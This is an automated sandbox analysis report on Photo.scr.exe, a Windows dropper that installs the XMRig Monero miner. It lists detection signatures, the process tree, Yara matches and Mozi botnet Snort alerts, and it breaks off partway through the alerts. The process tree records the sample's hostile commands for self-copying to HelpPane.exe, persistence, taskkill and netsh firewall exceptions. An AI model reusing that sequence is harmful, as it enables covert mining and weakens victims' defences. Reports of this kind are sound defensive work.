Edit tour

Windows Analysis Report
Photo.scr.exe

Overview

General Information

Sample Name:	Photo.scr.exe
Analysis ID:	1295685
MD5:	ca1fb1ad30189110cc225620dc537368
SHA1:	bfc2de8f0b376a6f1ff1930a4f261709a27e92ec
SHA256:	3fde84a46aea58ba4ddb5fb0473fc756ff209ba96b1a63a2759d13b8adc01a69
Tags:	exe
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for dropped file

Snort IDS alert for network traffic

Multi AV Scanner detection for submitted file

Yara detected Xmrig cryptocurrency miner

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for dropped file

Uses netsh to modify the Windows network and firewall settings

Uses known network protocols on non-standard ports

Machine Learning detection for sample

Creates files with lurking names (e.g. Crack.exe)

Contains functionality to infect the boot sector

Found API chain indicative of debugger detection

Machine Learning detection for dropped file

Drops PE files to the user root directory

Modifies the windows firewall

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to enumerate running services

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Drops files with a non-matching file extension (content does not match file extension)

OS version to string mapping found (often used in BOTs)

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Drops PE files to the windows directory (C:\Windows)

Drops PE files to the user directory

Dropped file seen in connection with other malware

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

PE file contains sections with non-standard names

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Found dropped PE file which has not been started or loaded

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Sample file is different than original file name gathered from version info

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Connects to several IPs in different countries

Uses FTP

Uses taskkill to terminate processes

Creates or modifies windows services

Classification

Process Tree

System is w10x64

Photo.scr.exe (PID: 6900 cmdline: C:\Users\user\Desktop\Photo.scr.exe MD5: CA1FB1AD30189110CC225620DC537368)

Photo.scr.exe (PID: 6996 cmdline: C:\Users\user\Desktop\Photo.scr.exe MD5: CA1FB1AD30189110CC225620DC537368)

cmd.exe (PID: 7036 cmdline: C:\Windows\system32\cmd.exe /c copy /y C:\Users\user\Desktop\Photo.scr.exe C:\Users\user\HelpPane.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 7068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 6204 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\HelpPane.exe --startup auto install MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 4356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

HelpPane.exe (PID: 6372 cmdline: C:\Users\user\HelpPane.exe --startup auto install MD5: CA1FB1AD30189110CC225620DC537368)

HelpPane.exe (PID: 6320 cmdline: C:\Users\user\HelpPane.exe --startup auto install MD5: CA1FB1AD30189110CC225620DC537368)

cmd.exe (PID: 1460 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\user\HelpPane.exe start MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

HelpPane.exe (PID: 6084 cmdline: C:\Users\user\HelpPane.exe start MD5: CA1FB1AD30189110CC225620DC537368)

HelpPane.exe (PID: 6612 cmdline: C:\Users\user\HelpPane.exe start MD5: CA1FB1AD30189110CC225620DC537368)

HelpPane.exe (PID: 6072 cmdline: C:\Users\user\HelpPane.exe MD5: CA1FB1AD30189110CC225620DC537368)

HelpPane.exe (PID: 4720 cmdline: C:\Users\user\HelpPane.exe MD5: CA1FB1AD30189110CC225620DC537368)

cmd.exe (PID: 4948 cmdline: C:\Windows\system32\cmd.exe /c taskkill /pid 1992 /f MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 5360 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

taskkill.exe (PID: 6688 cmdline: taskkill /pid 1992 /f MD5: 15E2E0ACD891510C6268CB8899F2A1A1)

cmd.exe (PID: 3764 cmdline: C:\Windows\system32\cmd.exe /c copy /y C:\Windows\TEMP\_MEI60~1\\xmrig.exe C:\Windows\TEMP\xmrig.exe MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 6276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 3424 cmdline: C:\Windows\system32\cmd.exe /c copy /y C:\Windows\TEMP\_MEI60~1\\config.json C:\Windows\TEMP\config.json MD5: F3BDBE3BB6F734E357235F4D5898582D)

conhost.exe (PID: 2040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

BackgroundTransferHost.exe (PID: 4948 cmdline: "BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.1 MD5: 02BA81746B929ECC9DB6665589B68335)

xmrig.exe (PID: 1012 cmdline: C:\Windows\TEMP\xmrig.exe MD5: 13BDD9CD9F7E51746172996262B5A873)

conhost.exe (PID: 1204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

netsh.exe (PID: 4420 cmdline: netsh firewall add allowedprogram C:\Users\user\HelpPane.exe "MyApp" ENABLE MD5: A0AA3322BB46BBFC36AB9DC1DBBBB807)

conhost.exe (PID: 8284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

svchost.exe (PID: 1340 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

spoolsv.exe (PID: 3576 cmdline: C:\Windows\System32\spoolsv.exe MD5: C05A19A38D7D203B738771FD1854656F)

svchost.exe (PID: 17040 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 17576 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

svchost.exe (PID: 21452 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p MD5: 32569E403279B3FD2EDB7EBD036273FA)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Yara Signatures

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\_MEI69002\config.json	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Users\user\AppData\Local\Temp\_MEI63722\config.json	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Users\user\AppData\Local\Temp\_MEI60842\config.json	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Windows\Temp\config.json	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Windows\Temp\_MEI60722\config.json	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Windows\Temp\_MEI60722\xmrig.exe	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Users\user\AppData\Local\Temp\_MEI63722\xmrig.exe	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Windows\Temp\xmrig.exe	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Users\user\AppData\Local\Temp\_MEI69002\xmrig.exe	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Users\user\AppData\Local\Temp\_MEI60842\xmrig.exe	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 5 entries

Memory Dumps

Source	Rule	Description	Author
0000001D.00000002.951616648.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000000.418759851.00000000009B0000.00000008.00000001.01000000.0000003A.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000003.421889362.0000000000C00000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000016.00000002.411224903.0000000002500000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000002.951616648.0000000000BD8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000A.00000003.392017630.0000000002E0B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000C.00000003.403983010.000000000191C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000002.952083780.000000000290D000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000002.952136244.0000000002B4D000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000000.00000003.369774094.0000000002514000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000002.951812463.0000000001852000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000014.00000002.409694423.0000000002A0C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000C.00000003.403235552.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000002.951780389.00000000013E0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000C.00000003.403397701.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000002.952047348.00000000026CD000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000000C.00000003.403127967.0000000000EFC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000006.00000003.377819448.0000000003227000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000003.421889362.0000000000BFB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000002.952013447.000000000248D000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000002.951580295.00000000009B0000.00000004.00000001.01000000.0000003A.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000001D.00000002.949906199.0000000000401000.00000040.00000001.01000000.0000003A.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
20.2.cmd.exe.27f0000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
29.0.xmrig.exe.400000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
29.2.xmrig.exe.400000.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
29.2.xmrig.exe.400000.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x45ab34:$x1: donate.ssl.xmrig.com 0x45ae41:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume 0x45a203:$s1: [%s] login error code: %d 0x4c5e72:$s2: \\?\pipe\uv\%p-%lu

Snort Signatures

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.161 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.161192.168.2.37817234812030919 08/23/23-09:18:25.655726
SID:	2030919
Source Port:	7817
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.204 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.204192.168.2.32813234812030919 08/23/23-09:18:14.283609
SID:	2030919
Source Port:	2813
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.129.17 - Destination IP: 192.168.2.3

Timestamp:	178.141.129.17192.168.2.38081234812030919 08/23/23-09:17:51.895471
SID:	2030919
Source Port:	8081
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.33 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.33192.168.2.326958234812030919 08/23/23-09:18:41.741927
SID:	2030919
Source Port:	26958
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 170.51.110.42 - Destination IP: 192.168.2.3

Timestamp:	170.51.110.42192.168.2.32549234812030919 08/23/23-09:18:13.401602
SID:	2030919
Source Port:	2549
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.23 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.23192.168.2.316478234812030919 08/23/23-09:18:03.880416
SID:	2030919
Source Port:	16478
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 220.124.130.79 - Destination IP: 192.168.2.3

Timestamp:	220.124.130.79192.168.2.33861234812030919 08/23/23-09:18:34.633564
SID:	2030919
Source Port:	3861
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.38 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.38192.168.2.315858234812030919 08/23/23-09:18:35.818268
SID:	2030919
Source Port:	15858
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.187 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.187192.168.2.326039234812030919 08/23/23-09:18:34.466149
SID:	2030919
Source Port:	26039
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.47 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.47192.168.2.326021234812030919 08/23/23-09:17:48.659055
SID:	2030919
Source Port:	26021
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.241.172.105 - Destination IP: 192.168.2.3

Timestamp:	1.241.172.105192.168.2.316508234812030919 08/23/23-09:18:32.551399
SID:	2030919
Source Port:	16508
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 170.51.110.122 - Destination IP: 192.168.2.3

Timestamp:	170.51.110.122192.168.2.313110234812030919 08/23/23-09:16:05.454080
SID:	2030919
Source Port:	13110
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.21 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.21192.168.2.324126234812030919 08/23/23-09:17:18.327197
SID:	2030919
Source Port:	24126
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.127 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.127192.168.2.31176234812030919 08/23/23-09:17:59.483744
SID:	2030919
Source Port:	1176
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.79 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.79192.168.2.38615234812030919 08/23/23-09:17:26.857316
SID:	2030919
Source Port:	8615
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.68.87 - Destination IP: 192.168.2.3

Timestamp:	178.72.68.87192.168.2.39088234812030919 08/23/23-09:18:03.530228
SID:	2030919
Source Port:	9088
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 175.241.153.212 - Destination IP: 192.168.2.3

Timestamp:	175.241.153.212192.168.2.38083234812030919 08/23/23-09:15:22.258584
SID:	2030919
Source Port:	8083
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.158 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.158192.168.2.314513234812030919 08/23/23-09:18:18.859499
SID:	2030919
Source Port:	14513
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.24 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.24192.168.2.37246234812030919 08/23/23-09:18:19.854927
SID:	2030919
Source Port:	7246
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.208 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.208192.168.2.327183234812030919 08/23/23-09:18:19.149886
SID:	2030919
Source Port:	27183
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.2.134 - Destination IP: 192.168.2.3

Timestamp:	95.24.2.134192.168.2.351620234812030919 08/23/23-09:18:12.410585
SID:	2030919
Source Port:	51620
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.19 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.19192.168.2.334980234812030919 08/23/23-09:17:49.112352
SID:	2030919
Source Port:	34980
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.35 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.35192.168.2.319333234812030919 08/23/23-09:17:48.854812
SID:	2030919
Source Port:	19333
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.141.64.234 - Destination IP: 192.168.2.3

Timestamp:	178.141.64.234192.168.2.38082234812030919 08/23/23-09:18:19.059348
SID:	2030919
Source Port:	8082
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 59.88.234.18 - Destination IP: 192.168.2.3

Timestamp:	59.88.234.18192.168.2.354459234812030919 08/23/23-09:18:21.659618
SID:	2030919
Source Port:	54459
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.37 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.37192.168.2.315916234812030919 08/23/23-09:18:32.149463
SID:	2030919
Source Port:	15916
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.167 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.167192.168.2.315537234812030919 08/23/23-09:16:42.040868
SID:	2030919
Source Port:	15537
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.206 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.206192.168.2.313775234812030919 08/23/23-09:17:36.414589
SID:	2030919
Source Port:	13775
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.156 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.156192.168.2.318575234812030919 08/23/23-09:18:35.157981
SID:	2030919
Source Port:	18575
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.241 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.241192.168.2.33084234812030919 08/23/23-09:17:24.596710
SID:	2030919
Source Port:	3084
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.77.142 - Destination IP: 192.168.2.3

Timestamp:	178.72.77.142192.168.2.318586234812030919 08/23/23-09:16:58.115756
SID:	2030919
Source Port:	18586
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.76.8 - Destination IP: 192.168.2.3

Timestamp:	178.72.76.8192.168.2.35158234812030919 08/23/23-09:18:32.295506
SID:	2030919
Source Port:	5158
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.26 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.26192.168.2.321633234812030919 08/23/23-09:15:05.025409
SID:	2030919
Source Port:	21633
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.80 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.80192.168.2.335240234812030919 08/23/23-09:18:32.292818
SID:	2030919
Source Port:	35240
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.99 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.99192.168.2.32467234812030919 08/23/23-09:17:34.338275
SID:	2030919
Source Port:	2467
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.232 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.232192.168.2.37218234812030919 08/23/23-09:18:31.205457
SID:	2030919
Source Port:	7218
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 201.221.109.243 - Destination IP: 192.168.2.3

Timestamp:	201.221.109.243192.168.2.330301234812030919 08/23/23-09:18:20.069214
SID:	2030919
Source Port:	30301
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.178 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.178192.168.2.320807234812030919 08/23/23-09:17:03.427585
SID:	2030919
Source Port:	20807
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.45 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.45192.168.2.317554234812030919 08/23/23-09:17:42.335532
SID:	2030919
Source Port:	17554
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.35 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.35192.168.2.329557234812030919 08/23/23-09:18:33.163602
SID:	2030919
Source Port:	29557
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.34 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.34192.168.2.339426234812030919 08/23/23-09:18:33.791588
SID:	2030919
Source Port:	39426
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 82.166.125.72 - Destination IP: 192.168.2.3

Timestamp:	82.166.125.72192.168.2.327529234812030919 08/23/23-09:18:39.522444
SID:	2030919
Source Port:	27529
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.71 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.71192.168.2.311408234812030919 08/23/23-09:18:32.680295
SID:	2030919
Source Port:	11408
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.71.128 - Destination IP: 192.168.2.3

Timestamp:	178.72.71.128192.168.2.320719234812030919 08/23/23-09:18:34.468445
SID:	2030919
Source Port:	20719
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.228 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.228192.168.2.35400234812030919 08/23/23-09:16:32.698366
SID:	2030919
Source Port:	5400
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.81.103 - Destination IP: 192.168.2.3

Timestamp:	178.72.81.103192.168.2.317776234812030919 08/23/23-09:18:23.766327
SID:	2030919
Source Port:	17776
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.105 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.105192.168.2.326022234812030919 08/23/23-09:18:33.670200
SID:	2030919
Source Port:	26022
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.75.210 - Destination IP: 192.168.2.3

Timestamp:	178.72.75.210192.168.2.319520234812030919 08/23/23-09:18:32.295880
SID:	2030919
Source Port:	19520
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.69.22 - Destination IP: 192.168.2.3

Timestamp:	178.72.69.22192.168.2.318433234812030919 08/23/23-09:18:34.539503
SID:	2030919
Source Port:	18433
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.78.143 - Destination IP: 192.168.2.3

Timestamp:	178.72.78.143192.168.2.37935234812030919 08/23/23-09:17:57.618680
SID:	2030919
Source Port:	7935
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.231 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.231192.168.2.33347234812030919 08/23/23-09:17:45.736664
SID:	2030919
Source Port:	3347
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 1.10.212.33 - Destination IP: 192.168.2.3

Timestamp:	1.10.212.33192.168.2.325398234812030919 08/23/23-09:14:57.095857
SID:	2030919
Source Port:	25398
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 178.72.70.8 - Destination IP: 192.168.2.3

Timestamp:	178.72.70.8192.168.2.39387234812030919 08/23/23-09:18:00.516262
SID:	2030919
Source Port:	9387
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 137.175.46.64 - Destination IP: 192.168.2.3

Timestamp:	137.175.46.64192.168.2.36736234812030919 08/23/23-09:18:35.058549
SID:	2030919
Source Port:	6736
Destination Port:	23481
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Mozi Botnet DHT Config Sent - Source IP: 95.24.160.127 - Destination IP: 192.168.2.3

Timestamp:	95.24.160.127192.168.2.356171234812030919 08/23/23-09:14:48.725630
SID:	2030919
Source Port:	56171
Destination Port:	23481
Protocol:	UDP
